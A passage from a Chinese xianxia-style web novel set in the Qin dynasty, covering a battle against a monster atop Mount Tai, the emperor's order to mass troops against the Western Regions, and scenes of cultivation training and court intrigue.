她猛地散去了即将成型的结界,金色火焰收敛,声音因极力压抑愤怒而颤抖。
“放了她!我让你们走!”
“哼,现在可不行。”
掩日冷笑,“等我们安全了,自会放人!”
“东君大人若是不放心,可以跟着,但若敢轻举妄动……”
**再次微微一动。
焱妃咬紧银牙,指甲深深掐入掌心,最终艰难地侧身让开了道路。
她的目光死死锁定在那两名挟持千泷的**身上,如同随时准备扑出的雌豹。
“走!”
赵高强忍着伤势,低喝一声。
掩日和六剑奴立刻护着赵高,迅速向着下山的小路退去。
那两名挟持千泷的**也紧随其后。
焱妃毫不犹豫,立刻飞身跟上。
她的全部心神都系在女儿身上,再也顾不得山巅的混乱与其他。
赢子夜正全力与怪物周旋。
瞥见这一幕,眉头紧蹙。
但此刻,他被这怪物死死缠住,根本无法脱身,只能厉声喝道:“公孙!带人追击!务必擒杀赵高!”
“诺!”
一直在外围率领暗河**清剿罗网残部的公孙墨玄立刻领命。
身影如同离弦之箭。
带着数名暗河精锐,如同跗骨之蛆般紧追而去!
“噬牙狱的!跟我去宰了那些罗网的杂碎!一个不留!”
一名噬牙狱凶徒头目狞笑一声,带着一群同样杀红眼的凶徒,扑向那些试图跟随赵高撤离的普通罗网**!
瞬间,又掀起一片腥风血雨!
而另一部分禁军和黑冰台高手,则继续留在山巅,协助赢子夜和东皇太一,艰难地对抗着那头越来越狂暴的怪物。
山巅的乱战,因赵高的败退和焱妃的离去,似乎稍微清晰了一些。
但核心的危机——
那头融合了七国罪业的灭世凶兽。
却依旧如同悬顶之剑,威胁着所有人的性命!
……
山巅之上。
那由胜七所化的怪物咆哮震天。
每一次攻击都携带着碾碎一切的污秽巨力与疯狂意志,逼得赢子夜与东皇太一这两大强者也只能暂避锋芒,联手周旋。
却难以将其彻底压制。
赢子夜驾驭巨兵法相,雷光剑气不断斩在怪物身上。
却只能留下浅浅的伤痕,反而更加激怒了它。
东皇太一的空间秘术虽能暂时困住怪物片刻。
但那怪物力量实在太过蛮横,往往几下猛击便能强行破开束缚。
“这样下去不是办法!”
赢子夜避开一道污秽能量洪流,沉声对东皇太一道:
“这怪物融合了七国罪业,力量近乎无穷无尽,耗下去我等必被拖垮!”
“必须设法将其彻底困住,以至强之力一举灭杀或封印!”
东皇太一袖袍挥动。
再次布下一道空间褶皱延缓怪物攻势。
声音却透过面具传来,依旧平稳却带着一丝凝重:“殿下有何良策?”
“我有一套得自上古炼气士的‘九霄雷殛阵’阵图,需以极品灵石为基,引九天雷霆之力,威力极大,或可一试!”
赢子夜语速极快。
“但布阵需要时间,且需有人能正面牵制住此獠,令其无法干扰布阵!”
东皇太一闻言,深邃的目光扫过那疯狂攻击的怪物,略一沉吟,便果断颔首。
“可。”
“本座会全力施为,将其困于一地,请殿下速速布阵!”
“好!”
赢子夜也不废话,巨兵法相猛地爆发出璀璨雷光,暂时逼退怪物,为其争取到一丝喘息之机。
他本人则迅速后撤。
同时袖袍连挥。
一枚枚闪烁着各色霞光,灵气逼人的上品乃至极品灵石如同不要钱般飞射而出!
按照某种玄奥无比的轨迹,精准地嵌入山巅各处地面!!
他双手结印如飞,精神力高度集中,引导着灵石之力相互勾连!
一道道繁复璀璨的雷电符文开始在地面迅速蔓延、亮起!
一股令人心悸的毁灭性雷霆之力,开始在那未完成的阵法中汇聚酝酿!
东皇太一见状,也不再保留。
他深吸一口气,周身那浩瀚如星海的力量彻底爆发!
宽大的黑袍无风狂舞,他双手缓缓抬起,十指如同拨动星辰般艰难而缓慢地划动!
“乾坤…禁断!”
随着他低沉而威严的声音,整个玉皇顶的空间仿佛被一只无形巨手狠狠攥住!
那正在疯狂扑向赢子夜的怪物,身形猛地一滞,如同陷入了无比粘稠的琥珀之中!
它周围的空间被层层叠叠地压缩、禁锢。
任它如何咆哮挣扎,撕裂一层又有数层叠加而来!
东皇太一显然也动用了极大的力量,面具下的呼吸微微急促了几分。
但那双掌控星辰的眼眸却依旧冰冷沉静,死死地将怪物禁锢在原地!
就在这布阵与禁锢的关键时刻……
另一边。
那西域萨满巫师见局势越发混乱危险,连那恐怖的怪物都被暂时困住。
而赵高已逃,深知再无便宜可占。
甚至,自身都可能陷在这里。
他眼
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中闪过一丝狡诈与果决,立刻对残余的西域武者发出几声急促古怪的指令,示意他们断后。
自己则悄然后退,准备施展秘术逃离。
然而,他刚退后几步。
一道炽热的幽蓝火墙便猛地在他面前升腾而起,挡住了去路!
“想来就来,想走就走?”
焰灵姬娇媚却带着冷意的声音响起。
她红裙飘动,指尖跳跃着危险的火焰,笑吟吟地看着萨满。
“阁下看了这么久的戏,不留点东西下来,说不过去吧?”
同时。
少司命的身影无声无息地出现在萨满另一侧,万**花悄然盘旋,封**他的去路。
雪女与端木蓉也警惕地望来,寒气与药粉若隐若现。
萨满巫师脸色一沉,眼中闪过一丝恼怒。
他没想到这些女人,在如此混乱的局势下还能注意到他。
他口中飞快念动咒语,手中骷髅木杖挥动,几道沙尘龙卷和诅咒波纹射向焰灵姬和少司命!
“雕虫小技!”
焰灵姬娇叱一声,幽蓝火蛇咆哮着撞散沙尘!
少司命万**舞,精准地切断了诅咒的波动。
萨满见状,心知短时间内难以摆脱这些难缠的女人,而那边东皇太一似乎快要彻底禁锢住怪物,赢子夜的杀阵也即将成型……
他眼中闪过一丝极其不甘的狠厉。
猛地一咬牙,做出了决断!!
他忽然用古语对着那些正在死战断后的西域武者厉声喊了几句什么。
那些武者闻言,脸上顿时露出绝望与疯狂之色,攻击变得更加不要命!
而萨满自己,则猛地将骷髅木杖往地上一插!
咬破舌尖,一口精血喷在杖顶的骷髅头上!
“噗!”
那骷髅头双眼瞬间爆发出骇人的血光!
一股强大的,带着空间波动的邪恶力量瞬间包裹住萨满!
“想跑?!”
焰灵姬察觉不对,幽蓝火焰化作巨掌抓去!
少司命的万**花也如同闪电般射向那血光!
但还是晚了一步!
血光猛地收缩,萨满的身影在其中变得模糊扭曲!
火焰巨掌和飞花穿过血光,却只抓了个空!
下一刻,血光连同萨满本人,如同被橡皮擦掉一般,瞬间消失在原地!
只留下那根插在地上的骷髅木杖,以及杖顶那迅速黯淡下去的骷髅头。
他竟然不惜牺牲了所有手下断后,并动用了一种代价极大的血遁秘术,独自逃走了!
“该死!”
焰灵姬气得跺了跺脚,却也无暇追击,只能将怒火发泄在那些被抛弃的,仍在疯狂攻击的西域武者身上。
幽蓝火焰席卷而过,瞬间将几人吞没。
第329章 阴阳家,是否该好好清洗一遍了?
泰山之巅,气氛压抑到了极致!
东皇太一黑袍鼓荡,周身散发出浩瀚如星海般的磅礴力量。
双手十指如同扣住了无形的枷锁,艰难而稳定地维持着那层层叠叠的空间禁锢!
那由胜七所化的怪物在其中疯狂咆哮、挣扎,污秽的能量与纯粹的蛮力不断冲击着空间壁垒,发出令人牙酸的扭曲碎裂声!
每一次冲击,都让东皇太一的身形微微晃动。
显然,维持这等程度的禁锢,对他亦是极大的负担!
而就在这禁锢区域之外,赢子夜布下的“九霄雷殛阵”已臻至完成!
无数枚极品灵石镶嵌于地,构成了一座繁复无比,覆盖了小半个山巅的巨大阵图!
璀璨的雷光符文在阵图中疯狂流转,发出震耳欲聋的嗡鸣!
而天空之中。
因阵法牵引,原本就因异象而紊乱的云层疯狂汇聚,形成一个雷电交加的漩涡!
煌煌天威,如同末日降临!
“东皇阁下!就是现在!”
赢子夜立于阵眼之处,脸色凝重,双手结出最后一道法印,厉声喝道!
东皇太一闻声,面具后的目光一凝,那维持空间禁锢的双手猛地向中间狠狠一合!
“锢!”
咔嚓!
砰!
那被层层压缩的空间如同最坚固的水晶牢笼,猛地向内收缩到极致,将怪物的所有动作硬生生锁**一瞬!
就是这一瞬!
赢子夜眼中精光爆射,汇聚了全身功力与阵法之力,引动那九天雷煞,对着阵眼核心,狠狠一指点下!
“九霄雷殛!落!”
轰隆隆隆——!!!
九天之上,那巨大的雷电漩涡中心。
一道粗壮得无法形容,仿佛连接了天与地的紫金色毁灭神雷,如同天神的审判之矛,撕裂长空,带着湮灭一切的恐怖威能,精准无比地轰击而下!
径直灌入了那雷殛大阵之中!
整个泰山之巅,瞬间被刺目欲盲的雷光彻底吞噬!
所有人的视野里只剩下一片炽烈的白!
紧接着,是那足以震碎耳膜的恐怖雷鸣!
以及那怪物被天雷灌体时发出的、凄厉到无法形容的绝望惨嚎!
“嗷吼——!!!”
雷光持续轰击了足足数息时间!
那毁灭性的能量疯狂涌入被空间禁锢锁死的怪物体内,疯狂地净化、湮灭着那凝聚了七国数百年罪业的污秽能量!
当雷光终于缓缓散去。
众人勉强恢复视力,看到的景象令人终身难忘!
东皇太一已然撤去了空间禁锢,微微喘息着,显然消耗巨大。
而原本怪物所在之地,只剩下一个深不见底的焦黑巨坑,坑壁光滑如镜,还闪烁着可怕的雷弧。
空气中弥漫着刺鼻的臭氧与某种东西被彻底净化后的奇异味道。
那融合了七国罪业,几乎不可一世的恐怖怪物胜七……
已然在这煌煌天雷之下,飞灰湮灭!
连一点残渣都未曾留下!
寂静!
死一般的寂静笼罩山巅!
所有人都被这毁天灭地的一击深深震撼,心有余悸!
赢子夜也微微松了口气,脸色略显苍白,迅速服下几枚恢复丹药。
这九霄雷殛阵威力虽大,但对布阵者和灵石的消耗也是极其恐怖的。
他目光扫过战场,看到不远处挣扎着想要爬起的月神、云中君等人。
他们之前被阵法反噬重伤,此刻脸色惨白,气息萎靡,显然已无再战之力。
赢子夜略一沉吟,便从怀中取出几个玉瓶,屈指一弹,精准地落到月神等人面前。
“此乃‘生生造化丹’与‘紫蕴护心丹’,对内伤颇有奇效,服下疗伤吧。”
他的声音平静,听不出太多情绪。
月神等人皆是一愣,难以置信地看向赢子夜,又看了看面前的玉瓶。
他们与赢子夜分属不同阵营。
实在没想到,对方会在一切尘埃落定后,赠出如此昂贵的宝药。
月神沉默片刻,率先拿起一个玉瓶,打开嗅了嗅,眼中闪过一丝惊异,确实是极品疗伤圣药。
她复杂地看了赢子夜一眼,低声道:“多谢殿下。”
随即倒出丹药服下。
云中君等人见状,也纷纷道谢服药,盘膝运功疗伤。
赢子夜不再多看他们,转身,声音恢复了往日的沉稳与威严,传遍整个山巅:
“韩信!”
“末将在!”
韩信立刻上前,他身上沾满血迹,但眼神依旧锐利。
“即刻率部清扫战场!”
“所有罗网、西域余孽,负隅顽抗者,格杀勿论!”
“投降者,暂且收押,统计伤亡,救治伤员!”
“诺!”
韩信抱拳领命,立刻转身,大声指挥部下开始行动。
赢子夜最后看向那巨大的焦坑和破碎的祭坛,目光深邃。
苍龙七宿的闹剧以这样一种方式收场,是他未曾料到的。
但眼前的烂摊子,还需要收拾。
山巅之上,硝烟未散,血腥犹存。
但秩序,正在逐渐恢复……
……
夜色深沉。
泰山之巅的硝烟与血腥气尚未完全散去,残火在废墟间明灭不定,映照着忙碌清扫战场的士卒身影。
临时清理出的一处相对完整的平台上,赢子夜负手而立,玄衣之上沾染了些许尘土与血点,却丝毫不减其威仪。
轻微的脚步声自身后响起。
东皇太一那笼罩在黑袍与诡异面具下的身影,无声地出现。
他步履略显沉重,周身那浩瀚如星海的气息也似乎因白日的恶战而内敛了许多。
他在赢子夜身后丈许处停下,沉默片刻,缓缓躬身,行了一个极其郑重的礼节。
“殿下。”
东皇太一的声音透过面具
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传来,依旧低沉缥缈,却少了几分往日的莫测高深,多了一丝复杂的沉凝。
“今日之局,皆因阴阳家追寻苍龙七宿而起,却未料此乃周室恶毒陷阱,致使殿下涉险,帝国动荡,将士殒命……”
“此乃吾之失察,吾…向殿下请罪。”
赢子夜缓缓转过身,目光平静地落在东皇太一身上。
他并未立刻说话,只是静静地看着这位一直以来都神秘莫测的阴阳家首领。
夜风吹过,扬起两人衣袍,气氛一时有些凝滞。
片刻后。
赢子夜才缓缓开口,声音平稳无波:“东皇阁下不必如此。”
“苍龙七宿之秘,流传数百年,诱惑极大,莫说是阁下,便是父皇,乃至七国君主,谁又能料到这竟是如此一个针对天下共主的恶毒诅咒?”
“追寻力量本身并无过错,错的是布下此局的周室。”
他顿了顿,继续道:“此事,本公子自会向父皇详细禀明其中原委与曲折。”
“阁下无须过于介怀。”
东皇太一保持躬身的姿态,闻言,微微一顿,才缓缓直起身。
“殿下深明大义,吾…惭愧。”
“多谢殿下。”
赢子夜摆了摆手。
目光转而投向西域的方向,眼神骤然变得锐利冰冷,语气中也带上了凛冽的杀意。
“倒是这西域之人…好大的狗胆!”
“竟敢窥伺帝国机密,插手帝国内务,趁乱渔利!”
“待此间事了,情报查明之后,本公子定要奏请父皇,发兵西进,将这些不知死活的蛮夷…除之而后快!”
这话语中的决绝与杀意,让周围的温度都仿佛下降了几分!
随即,赢子夜的目光再次转回东皇太一身上,变得意味深长。
“不过,此次泰山之事,消息封锁极其严密。”
“为何西域之人能如此精准地把握时机,甚至提前潜伏?”
“东皇阁下…阴阳家内部,或许也该好好地清查一番了。”
东皇太一的身体几不可察地微微一震!!
面具后的目光骤然变得幽深起来。
他自然听懂了赢子夜的弦外之音。
苍龙七宿的具体时间和地点,除了陛下和六公子,知道最清楚的,便是阴阳家高层!
他沉默了片刻,再次拱手,声音恢复了往日的平稳,却多了一份郑重与冰冷。
“殿下所言极是,此事,阴阳家定会倾力彻查!”
“无论涉及何人,绝不姑息!”
“定会给殿下,给帝国一个明确的交代!”
“如此最好。”
赢子夜淡淡颔首,不再多言,转身继续望向那无尽的夜空。
东皇太一静静站立片刻,身影缓缓向后褪去,无声无息地融入了阴影之中。
唯有那最后的话语中蕴含的冷意……
显然预示着阴阳家内部,即将迎来一场毫不留情的清洗!
第330章 领兵三十万,兵指西域!
数日后。
咸阳宫阙依旧巍峨,仿佛笼罩在一层无形的低气压之下。
章台宫内,烛火通明。
却驱不散那弥漫在空气中比泰山之巅的硝烟更为沉重的帝威。
赢子夜风尘仆仆,玄衣之上虽已整理干净。
眉宇间却带着一丝难以掩饰的疲惫。
他立于御阶之下,将泰山之事,从苍龙七宿的开启,到那惊天陷阱的爆发,再到后续的混乱厮杀、怪物现世、赵高叛逃、西域插手……
事无巨细。
清晰而冷静地向御座之上的始皇嬴政一一奏禀。
他的声音平稳,但所述内容之惊心动魄,之匪夷所思,足以让任何听闻者心神剧震!
当听到那所谓的“苍龙七宿”竟是一个凝聚了七国数百年罪业诅咒的恶毒陷阱,而非长生之秘时。
珠帘之后。
那一直静默如同山岳的身影,几不可察地震动了一下。
良久。
嬴政那低沉、平稳、却蕴含着雷霆之怒的声音缓缓响起,打破了令人窒息的沉寂:
“周室…好,好一个周室!”
“好一个苍龙七宿!”
声音并不高昂,却如同万载寒冰在摩擦!
每一个字都带着碾碎历史的沉重与冰冷的杀意!
殿内的烛火为之摇曳,空气仿佛都凝固成了实质!
“玩弄天下于股掌,以万民为刍狗…这,便是所谓的王道?!”
他的声音陡然拔高了一丝。
那压抑的怒火如同即将喷发的火山,让整个章台宫都为之震颤!!
“若非大秦一统,终结这乱世,这恶毒诅咒,还不知要戕害多少代人!”
赢子夜垂首静立。
能清晰地感受到父皇那平静话语下汹涌的滔天怒意。
这并非针对他,而是针对那早已覆灭,却遗祸无穷的周王朝!
嬴政的怒意并未持续太久,很快便再次收敛。
化为一种更深沉、更冰冷的寒意。
他的目光穿透了珠帘,落在了遥远的西方。
“西域……”
这两个字从他口中吐出,带着一种毫不掩饰的厌恶与睥睨!!
“蛮夷之辈,茹毛饮血,竟也敢窥伺天朝,趁火打劫,伤朕重臣,乱朕大典!”
赢子夜适时开口:“父皇息怒。”
“儿臣前去之时,已命逆流沙首领卫庄,率其麾下精锐,秘密潜入西域,暗中查探其各国虚实,尤其是……”
“寻找可能与那苍龙七宿类似,或蕴藏其他力量的远古秘境下落。”
“知己知彼,方可……”
然而,他的话尚未说完,便被嬴政打断!
“不够。”
嬴政的声音斩钉截铁,带着不容置疑的帝王决断!
“区区江湖组织,暗中探查,乃小道耳。”
“既然他们敢伸手,那便要付出伸手的代价!”
“帝国,需要的是堂堂正正之师,需要的,是让他们刻骨铭心的…敬畏!”
他略微停顿,仿佛在酝酿着最终的裁决,整个章台宫的气氛压抑到了极点。
下一刻,那如同天宪般的旨意,轰然降下:
“传朕令!”
声音如同九天神雷,震得殿宇梁柱嗡嗡作响!
“命蒙犽,率三十万关中锐士,兵指西域!”
“陈兵于西疆之外,无须进军,亦……不许后退半步!”
“朕,要看看那西域三十六国,见到我大秦黑龙旗遮天蔽日之时,会是何等反应!”
“朕,要让他们日夜不安,让他们君臣战栗,让他们明白——”
“触怒天威,所需付出的代价!!!”
这命令,并非立刻发动灭国之战,却比战争更加令人窒息!!
三十万百战锐士陈兵边境,如同一柄悬在整个西域头顶的利剑!
这是一种极致的武力威慑!
一种赤裸裸的帝国霸权的展示!
其带来的心理压迫力,足以让西域诸国彻底陷入恐慌与内乱!
赢子夜心中一震,立刻领命:“儿臣遵旨!父皇圣明!”
他深知,这才是父皇的风格!
不动则已,一动便是雷霆万钧,以绝对的力量碾压一切挑衅!
颁布完这足以改变西域格局的命令,嬴政的目光似乎柔和了少许,落在了赢子夜身上。
“此事,你做得很好。”
“若非你当机立断,后果不堪设想。”
他的声音恢复了些许平稳,“下去吧,好生歇息,这些时日,你也辛苦了。”
“谢父皇关怀!儿臣告退!”
赢子夜躬身行礼,缓缓退出了章台宫。
直到走出大殿,来到阳光之下,他才微微松了口气,背后竟已惊出一身冷汗。
父皇那最后的平静话语中蕴含的恐怖压迫力。
远比任何怒吼都更令人心悸!
帝国的战车,已然转向西方。
而西域的风沙,注定…将被染上新的颜色!
……
回到府邸。
赢子夜屏退左右,独自坐在书房内。
脸上并无大战归来的松懈,反而眉宇间凝着一丝化不开的凝重。
泰山一战,看似最终镇压了怪物,击退了强敌。
但他心知肚明,胜利的背后是巨大的代价。
若非他凭借系统秒杀来的海量珍贵丹药强行提升众人实力,后果不堪设想。
而丹药之力终究是外物,事后的反噬也让禁军锐士、暗河精锐们都虚弱了许久,至今未能完全恢复。
这种依靠“氪金”堆出来的胜利,一次尚可,绝非长久之计。
西域局势诡谲,北疆胡亥与狼族勾结图谋未明。
未来,需要应对的险事只会更多、更凶险。
提升自身及其核心麾下的绝对实力,已是刻不容缓。
他沉吟片刻,沉声道:“请夫人与几位姑娘过来。”
不多时。
书房门被推开,几道倩影相继走入。
焰灵姬依旧是一袭惹火红裙,但眉眼间也带着一丝不易察觉的倦色。
显然丹药的后遗症她也未能完全避免。
雪女清冷如故,端木蓉神色温和中带着关切。
少司命静立一旁,紫眸沉静。
“殿下召我们前来,可是有何要事?”
端木蓉轻声问道,身为医者,她最能感受到众人身体的状态。
赢子夜目光扫过四女,直接开门见山:“泰山一战,虽胜犹险。”
“我等实力,应对未来变局,尤有不足。”
“西域、北疆,皆非善地,需早做准备。”
他顿了顿,语气变得严肃:“从今日起,咱们需勤加修炼,不可有丝毫懈怠。”
“我希望下次面对强敌时,无需再依靠外丹之力,咱们自身便拥有足以应对一切的修为。”
四女闻言,神色皆是一正!
她们亲身经历了泰山的凶险,自然明白实力的重要性。
雪女轻轻颔首:“殿下所言极是,我等明白。”
端木蓉也道:“修为乃立身之本,自当勤修不辍。”
少司命虽未说话,但眼神已然表明了一切。
唯有焰灵姬。
眨了眨妩媚的大眼睛,晃动着腰肢走到赢子夜书案前,玉指轻轻点了点桌面,拖长了语调,带着几分撒娇的意味。
“修炼嘛~自然是没问题的呀!”
“殿下开口,我们姐妹几个谁敢偷懒?不过嘛……”
她话锋一转,眼中闪烁着狡黠的光芒,笑吟吟地看着赢子夜。
“这修炼一途,财侣法地,资源可是重中之重~”
“殿下总不能光让我们努力,不给点‘支持’吧?”
“就像上次那些亮晶晶的小石头和好吃的糖豆~”
她所说的,自然是那些极品灵石和灵丹。
赢子夜看着焰灵姬那副妩媚的表情,又看了看旁边虽然没说话但眼中同样流露出一丝期待的雪女、端木蓉甚至少司命,不禁失笑。
他摇了摇头,脸上却并无半分吝啬,反而大手一挥!
霎时间。
书房内霞光万道,灵气氤氲!
数个打开的玉盒呈现在众女面前。
里面整齐地摆放着光芒璀璨的上品灵石,龙眼大小丹纹清晰的各类灵丹。
有增功、疗伤、解毒、静心等效果!
甚至还有几件闪烁着宝光的女性饰物,乃护身法器!
其数量之多,品质之高。
远超上次临时发放的那些!
“这些,够不够?”
赢子夜语气平淡,仿佛拿出的只是寻常物件。
四女顿时美眸圆睁!
即便是最为清冷的雪女和少司命,眼中也忍不住掠过惊艳之色。
端木蓉更是下意识地深吸了一口那浓郁的灵气。
焰灵姬反应最快,一把将一盒最适合火属性修炼者使用的“赤炎灵石”抱在怀里,笑得花枝乱颤,声音又甜又媚。
“够!太够了!殿下果然最大方了!”
“有了这些,别说修炼了,让奴婢给您当牛做马都行~”
雪女小心翼翼地拿起一枚能纯化冰系内力的“冰心丹”,轻声谢道:“多谢殿下。”
端木蓉也取了一些能助长精神力和解毒的丹药,柔声道:“感谢殿下厚赐。”
少司命则默默地将一对镌刻着防御阵法的紫玉镯戴上。
对着赢子夜极轻地点了点头。
看着四女欣喜的模样,赢子夜眼中也露出一丝笑意:“资源管够,但修为,需靠自身。”
“莫要辜负了这些天材地宝。”
第331章 机关术,便是最好的实战场!
蜃楼,星空秘殿。
虽已回归,但殿内气氛却比往日更加压抑冰冷。
周天星辰的光芒流转,映照出东皇太一那纹丝不动的黑袍身影,以及下方垂首而立的月神。
“查清了?”
东皇太一的声音透过面具传来,平淡无波,却让殿内的温度又下降了几分。
“对。”
月神恭敬回应,语气中带着一丝冷冽,“根据殿下提示及内部彻查,已揪出三名被罗网渗透的弟子,以及一名被要挟利诱的执事。”
“均已按叛徒论处,神魂俱灭。”
她略微停顿。
清冷的眉头微微蹙起,眼中闪过一丝不解。
“然,据搜魂及审讯所得,此些暗桩所知有限,仅能传递蜃楼日常动向及部分外围情报。”
“关于苍龙七宿具体时日与地点之绝密,他们并无渠道获知,更遑论传递出去。”
“且,从当日西域之人出现时机与目标来看,他们似乎…并非由罗网引路或告知。”
这才是最让她困惑的地方。
罗网的背叛固然可恨。
但西域那群蛮夷,是如何能如此精准地把握时机,仿佛未卜先知般潜入泰山?
东皇太一沉默了片刻,缓缓抬起头,那深邃的目光仿佛穿透了蜃楼的穹顶,望向了无尽遥远的西方天际。
“西域萨满之术,源自上古巫祝。”
“虽与我阴阳家术法路数迥异,操弄风沙,沟通幽魂,乃至窥探星象轨迹,感知天地能量潮汐…皆有其独到之处。”
他的声音带着一种洞悉世事的淡漠。
“他们未必需要确切的‘告密’。”
“或许,只是某位道行高深的萨满,于冥冥中捕捉到了泰山能量汇聚的异常,卜算到了某种‘契机’,又或是……”
“感应到了那七个盒子中积累数百年的罪业煞气即将爆发的征兆。”
月神闻言,娇躯微微一震!
眼中露出恍然与忌惮之色。
她专注于阴阳术,对西域那些被视为“蛮术”的手段确实了解不深。
若真如东皇阁下所言,那西域的威胁,恐怕远比想象中更加诡异难防!!
“看来,是我们小觑了这些化外之民。”
月神的声音凝重了几分。
东皇太一缓缓收回目光,那冰冷的面具重新对准月神,语气陡然转寒,带着不容置疑的决断。
“西域之事,暂且记下。”
“眼下,有一事更为紧迫——”
“东君焱妃,叛逃已久,今又破封而出,更与帝国逆贼赵高有所牵连,掳走重要人质姬如千泷,罪加一等!”
“阴阳家绝容不下此等悖逆之徒!!”
“月神。”
“属下在!”
月神心神一凛,立刻躬身。
“命你亲自带队,挑选五部精英,不惜一切代价,追查焱妃与姬如千泷之下落!”
“生要见人,死……要见尸!”
“务必将其擒回,或彻底清除!”
“绝不可让其流落在外,再生事端!”
“领命!”
月神重重应下,眼中闪过冰冷的光芒。
对于焱妃的背叛,她早已心存芥蒂,如今更是奉东皇阁下亲令,她绝不会再有丝毫手软。
“去吧。”东皇太一挥了挥手。
月神再次躬身,身影缓缓后退。
无声无息地融入了星辰光芒的阴影之中,开始着手布置这场对阴阳家昔日天才的追剿。
星空秘殿内,重归寂静。
唯有东皇太一依旧静立,面具后的目光幽深难测,仿佛在权衡着更深远的棋局。
清理了内鬼。
追剿了叛徒。
但西域的阴影和帝国内部的暗流,却似乎才刚刚开始涌动……
……
翌日。
阳光和煦。
赢子夜信步走入万世书院。
空气中弥漫着淡淡的墨香与青春朝气。
穿过回廊,可见各处空地上,皆有学子或盘膝吐纳,或挥剑练拳,或三五成群研讨经义策论。
人人神情专注,沉浸于修炼与学问之中。
看着这些朝气蓬勃,孜孜不倦的身影,赢子夜心中颇感欣慰。
这些人,皆是帝国未来的种子。
经过系统培养,假以时日,必能成为栋梁之材,或许……
真能应对未来那愈发扑朔迷离的局势。
他正暗自思忖。
忽然,周遭空气泛起一丝极其细微、几乎难以察觉的涟漪波动!
赢子夜脚步一顿,眉头微蹙。
下一刻,他眼前的景象骤然扭曲变幻!
原本晴朗的天空瞬间黯淡,四周的建筑、树木如同水墨般晕开消散。
取而代之的是一片无边无际,迷雾重重的幽暗竹林!
阴风惨惨,竹叶沙沙作响,仿佛隐藏着无数危机。
“幻境?”
赢子夜眼中闪过一丝诧异。
这幻境布置得颇为精妙,悄无声息,能在他心神略有松懈时瞬间发动,已属难得。
若非他精神力远超常人,感知敏锐,恐怕真要被困住片刻。
他并未惊慌,只是静立原地,双眸之中紫金色电光微微一闪。
强大的神识如同水银泻地般铺散开来,仔细感知着这幻境的能量节点与运行规律。
“原来如此……”
“以地脉阴气为引,结合奇门遁甲之位,扰动五感……”
“布阵者倒是有几分巧思。”
他低声自语,指尖悄然凝聚起一丝微不可察的雷霆之力,对着虚空某处看似随意地一指点出!
“啵——”
一声如同气泡破裂的轻响传来。
周遭那幽暗竹林,迷雾阴风如同镜花水月般瞬间破碎消散!
阳光重新洒落,书院熟悉的景致再次浮现眼前。
整个过程,不过短短十数息。
“哎呀!”
一旁假山后,传来一个少女沮丧的娇呼声。
只见嬴阴嫚嘟着小嘴,一脸不甘心地从假山后跳了出来。
手里还捏着几枚尚未完全激发的阵法玉符。
“还以为至少能困住六哥半炷香的时间呢!”
“怎么这么快就出来啦!一点意思都没有!”
赢子夜看着自家妹妹那气鼓鼓的模样,不禁莞尔。
他走上前,揉了揉她的头发,语气中带着毫不掩饰的惊讶与赞赏。
“你这丫头…这才学了几天阵法?竟能布下如此精妙的幻阵,连六哥我都差点着了道。”
“看来荀夫子确实倾囊相授,而你这份天赋,更是了得。”
得到最崇拜的六哥如此夸赞,嬴阴嫚顿时转嗔为喜,大眼睛弯成了月牙,得意地扬起小脸。
“那是自然!夫子都夸我学得快呢!”
“六哥,我再给你看看我新学的‘小迷踪阵’和‘聚灵阵’!”
说着,她便兴奋地拉着赢子夜来到一处宽敞的演武空场,献宝似的开始演示起来。
只见她小手翻飞,一枚枚玉符、灵石被她按照特定方位打出。
很快,一个小小的迷阵形成,能轻微干扰视线感知。
还有一个微型的聚灵阵,能汇聚周围稀薄的天地灵气!
虽然阵法规模不大,威力有限。
但布阵手法却颇为纯熟,方位精准。
能量引导也像模像样。
对于一个初学者而言,已是惊才绝艳!!
赢子夜在一旁静静看着,不时出言指点一二。
“嗯,此处坤位灵气稍显迟滞,可尝试以震位雷符稍加激发……”
“迷踪阵的离位幻象略显呆板,需更注重心神牵引……”
嬴阴嫚听得连连点头,大眼睛闪闪发亮,立刻按照指点调整,阵法效果果然又提升了不少。
看着妹妹那兴奋专注的侧脸,以及周围那些同样刻苦修炼的学子,赢子夜心中欣慰之余,却突然觉得似乎缺少了点什么。
光有理论和基础的修炼……
够吗?
他想到了泰山之上的惨烈厮杀!
想到了罗网杀手的诡异狠辣!
想到了西域武者的刁钻手段……
真正的战斗,绝非纸上谈兵,那是生死一线的搏杀。
是经验、反应、意志的综合较量!
这些学子,缺少实战的磨砺!
缺少那种面对危险的本能反应和生死之间的压力!
一个想法瞬间在他脑中成型。
他立刻对身旁侍从道:“去,请公输仇先生过来一趟。”
不多时。
身材矮小,机关手咔咔作响的公输仇快步走来,恭敬行礼:“殿下召见,不知有何吩咐?”
赢子夜指着场中那些正在修炼的学子,沉声道:“公输先生,书院弟子勤学苦练,然缺乏实战历练。”
“本公子欲让你牵头,制作一批机关兽,强度分级,可供弟子们日常对战,磨练武技与应变能力之用。”
公输仇顺着赢子夜的手指看去。
看着那成百上千的学子,又想了想制作大量不同强度,足够结实耐揍,还能模拟不同攻击模式的机关兽所需的庞大工作量。
顿时苦了一张脸,机关手都耷拉了下来:
“殿…殿下…这…这工程浩大啊!”
“所需的材料、人手、时间…而且还要分级设计,模拟实战……”
“这…老夫就算不吃不喝,恐怕也……”
赢子夜看着他这副模样,没好气地白了他一眼,打断了他的诉苦。
“笨!”
“谁让你一个人干了?”
第332章 借刀杀人,祸水东引!
与此同时。
北疆边陲。
胡亥的行营大帐内。
炭火噼啪作响,却驱不散那弥漫在空气中的阴冷与算计。
胡亥斜倚在铺着厚厚兽皮的软榻上,指尖把玩着一枚冰冷的玉珏,听着心腹低声禀报完来自咸阳的密信。
信中,详细描述了泰山之变的经过。
赵高的背叛、苍龙七宿的惊天阴谋,以及父皇对此事的震怒与后续安排。
随着心腹的叙述,胡亥那原本带着几分慵懒和玩味的脸色,逐渐变得阴沉下来。
最终化为一片冰冷的铁青!!
尤其是听到赵高竟然早就有所觊觎,甚至试图窃取苍龙七宿之力时,他眼中猛地爆射出骇人的寒光!
“呵…呵呵……”
他发出一阵低沉而冰冷的笑声。
指尖猛地收紧,那枚玉珏瞬间被捏得粉碎!
“好一个赵高!好一个罗网首领!”
“本公子还真是小瞧了你的野心!”
他声音嘶哑,充满了被愚弄、被背叛的暴怒!
“原来你早就打着螳螂捕蝉黄雀在后的算盘!”
“若非那苍龙七宿是个要命的陷阱,恐怕本公子辛苦谋划的一切,最终反倒成了给你做嫁衣?!”
他越想越气。
猛地将案几上的酒樽扫落在地,猩红的酒液如同鲜血般泼洒开来!
“叛主之狗!该死!”
胡亥咬牙切齿,眼中杀机四溢。
